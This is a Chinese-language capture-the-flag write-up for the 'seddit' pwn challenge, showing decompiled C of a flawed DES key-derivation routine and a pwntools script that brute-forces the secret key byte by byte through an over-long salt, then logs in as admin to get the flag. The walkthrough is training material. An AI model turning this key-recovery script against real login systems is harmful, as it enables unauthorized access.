[BMZCTF-pwn] 13_ectf-2014 seddit

一开始看到不少溢出,但是由于有canary这些都无法用。还是从头开始读程序。

程序包含3块:

  1. 第一块读入用户名和salt盐在盐后加上后台的key得到密钥再通过密钥算出密码。
  2. 通过用户名和密码登录,用户名是admin且验证成功后显示flag
  3. 没有用

很显然如果第1步让用admin就好办了。然无。

这个盐有个溢出:盐长度不足7位时会补成7位后边加7位key。如果超过7位则用的key就会相应减少。当盐为13位时就只用到第1位key。那么就可以很容易的爆破出key的值。然后用des算出密码就ok了。

unsigned __int64 __fastcall sub_400A04(__int64 a1, _QWORD *a2)
{
  char v3[140]; // [rsp+20h] [rbp-B0h] BYREF
  int fd; // [rsp+ACh] [rbp-24h]
  char dest[16]; // [rsp+B0h] [rbp-20h] BYREF
  char v6[8]; // [rsp+C0h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+C8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *a2 = 0LL;
  *(_QWORD *)dest = 0LL;
  fd = open("key", 0);
  if ( strlen(byte_6020C0) <= 6 )  //当salt为13位时,只用到1位key 可依次爆破key
    strncpy(&byte_6020C0[strlen(byte_6020C0)], "aaaaaaa", 7 - strlen(byte_6020C0));
  strncpy(dest, byte_6020C0, strlen(byte_6020C0));
  read(fd, &dest[strlen(byte_6020C0)], 7uLL);
  dest[14] = 0;
  close(fd);
  DES_string_to_key(dest, v6);
  DES_set_key(v6, v3);
  DES_ecb_encrypt(a1, a2, v3, 1LL);
  return __readfsqword(0x28u) ^ v7;
}

另外就是写程序算des不一定容易,可以直接把原程序patch一下让他不检查admin用户名,这样通过原程序就可以得到密码。

from pwn import *

local = 1
if local == 1:
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn', 28546) 

elf = ELF('./pwn')
context.arch = 'amd64'

def getkey(salt):
    p.sendlineafter(b"What would you like to do? ", b'1')
    p.sendlineafter(b"Enter username:", b's')
    p.sendlineafter(b"Enter salt:", salt)
    p.recvuntil(b'Your password is: ')
    return p.recv(16)

def password():
    tp = process('./pwn_local')
    tp.sendlineafter(b"What would you like to do? ", b'1')
    tp.sendlineafter(b"Enter username:", b'admin')
    tp.sendlineafter(b"Enter salt:", b'aaaaaaa')
    tp.recvuntil(b'Your password is: ')
    return tp.recv(16)

def getflag(password):
    p.sendlineafter(b"What would you like to do? ", b'2')
    p.sendlineafter(b"Enter username:", b'admin')
    p.sendlineafter(b"Enter password:", password)
    return p.recv()

key = b''
for i in range(13,6,-1):
    salt = b'A'*i
    tmpkey = getkey(salt)
    print(tmpkey)
    for j in range(0x21,0x80):
        tmp = getkey(salt+key+p8(j))  #逐位缩短的salt+key已知部分+猜 密码相同即为正确的key
        if tmp == tmpkey:
            key += p8(j)
            print('key:', key)
            break

open('key', 'wb').write(key)

password = password() #利用本地程序运算求密码
print(password)
context.log_level = 'debug'
    
print(getflag(password))

pause()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值